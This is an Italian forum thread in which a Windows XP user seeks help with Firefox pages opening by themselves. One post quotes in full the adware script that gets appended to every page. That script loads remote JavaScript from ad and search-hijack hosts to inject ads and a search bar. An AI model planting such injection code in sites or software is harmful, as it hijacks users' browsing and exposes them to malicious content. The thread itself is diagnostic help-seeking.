|
|||||||
|
|
|
 |
|
|
Strumenti |
18-11-2012, 08:59
|
#1 | |
|
Senior Member
Iscritto dal: Oct 2002
Città: Roma
Messaggi: 1502
|
[WINXP] Pagine Internet si aprono da sole su Firefox
Ciao,
da alcuni giorni mi succede che mentre ho firefox aperto (impostato come browser predefinito) si aprono nuove finestre che vanno su siti diversi. Ho provato a fare un ripristino di sistema ma non ha risolto il problema, AVG e spyboot non rilevano nulla. Allego di seguito il log di HijackThis. Grazie a chi può aiutarmi. Quote:
__________________
Sun Certified Java Programmer EUCIP Core Level Certified European Certification of Informatics Professionals Ultima modifica di anx721 : 02-12-2012 alle 20:31. Motivo: Leggere le Regole di sezione |
|
|
|
|
02-12-2012, 20:31
|
#2 |
|
Senior Member
Iscritto dal: Oct 2002
Città: Roma
Messaggi: 1502
|
Ciao,
nessuno mi sa dare una mano? Da ieri riscontro altri problemi con i browser, ad come se non riuscissero ad a far funzionare i cookie, oppure le pagine sembrano in caricamento continuo.
__________________
Sun Certified Java Programmer EUCIP Core Level Certified European Certification of Informatics Professionals |
|
|
|
|
02-12-2012, 20:52
|
#3 |
|
Senior Member
Iscritto dal: Oct 2002
Città: Roma
Messaggi: 1502
|
Ho appena scoperto, vedendo il codice delle pagine caricate dal browser, sia IE che firefox, che a tutte le pagine viene appeso il seguente script:
Codice:
<script>
var id=907789591;
var aff=30421;
var sid=3;
function INCL_isIFramed()
{
return (top !== self);
}
function INCL_checkinternals()
{
var h = document.location.hostname;
return (/search\.kalloutsearch\d\.com/i.test(h) == true ||
/search\.adbar\d\.com/i.test(h) == true ||
h.indexOf('search.runclips.com') != -1 ||
h.indexOf('search.searchnowdirect.com') != -1);
}
function INCL_checkdml()
{
var h = document.location.hostname;
return (h.indexOf("google")!=-1 ||
h.indexOf("facebook.com")!=-1 ||
h.indexOf("yahoo.com")!=-1 ||
h.indexOf("bing.com")!=-1 ||
h.indexOf("ask.com")!=-1 ||
h.indexOf("listenersguide.org.uk")!=-1);
}
function INCL_loadScript(src)
{
if (window.location.protocol == 'https:' && src.indexOf('http:') == 0)
return;
var script = document.createElement("script");
script.src = src;
script.characterSet = "utf-8";
script.type = "text/javascript";
(document.head||document.documentElement).appendChild(script);
}
if (!INCL_isIFramed() && !INCL_checkinternals())
{
if (!INCL_checkdml()) {
var INLDM_cfg = { fi : 4603, fd : 0,
fddm: 'xml.cpchero.biz',
sttcdm: 'static.cpchero.biz',
inlsrhdm: 'sonicsearchonline.biz' };
INCL_loadScript('https://hostmyjs.biz/scripts/inl_dmmtch2.min.js');
INCL_loadScript('https://in.admedia.com/?id=ODkoOCI&subid=36');
}
INCL_loadScript('http://i.websuggestorjs.info/sugg/javascript.js?channel=js36');
INCL_loadScript('https://cdncache1-a.akamaihd.net/loaders/1247/l.js?aoi=1311798366&pid=1247&zoneid=52222');
window.dmadbar_settings = {dm_standalone : true, dmpd : 2, fd :
4723, fd2: 4604, xmlfeed : 'http://xml.cpchero.biz/search' , search_url
:
'http://hostmysearch.com/?prt=yhs1Danta2&errUrl=http://www.yahoo.com&keywords='
, script_base : 'https://hostmyjs.biz/scripts/adbar' };
INCL_loadScript('https://hostmyjs.biz/scripts/adbar/adbar.js');
}
</script>
__________________
Sun Certified Java Programmer EUCIP Core Level Certified European Certification of Informatics Professionals |
|
|
|
|
16-12-2012, 08:46
|
#4 |
|
Bannato
Iscritto dal: Dec 2007
Messaggi: 15
|
credo sia simile a ciò che parlano su questo sito
http://www.chiccheinformatiche.com/p...-virus-o-spam/ |
|
|
|
|
12-08-2013, 14:56
|
#5 | |
|
Senior Member
Iscritto dal: Jan 2006
Città: latina o roma
Messaggi: 731
|
Quote:
ho usato adwrcleaner ma niente ho disabilitato in avvio alcuni processi che risultavano da un a precedente scansione di hijackthis "LiveUpSc", "Ssro Service" e "Ssupd Service" di seguito il log di hijackthis Ultima modifica di Chill-Out : 12-08-2013 alle 17:38. Motivo: Log rimosso non conforme alle Regole di sezione |
|
|
|
|
|
12-08-2013, 15:27
|
#6 |
|
Senior Member
Iscritto dal: Jan 2006
Città: latina o roma
Messaggi: 731
|
allego anche log combofix
Ultima modifica di Chill-Out : 12-08-2013 alle 17:37. Motivo: Log rimosso non conforme alle Regole di sezione |
|
|
|
|
|
| Strumenti | |
|
|
Tutti gli orari sono GMT +1. Ora sono le: 17:01.
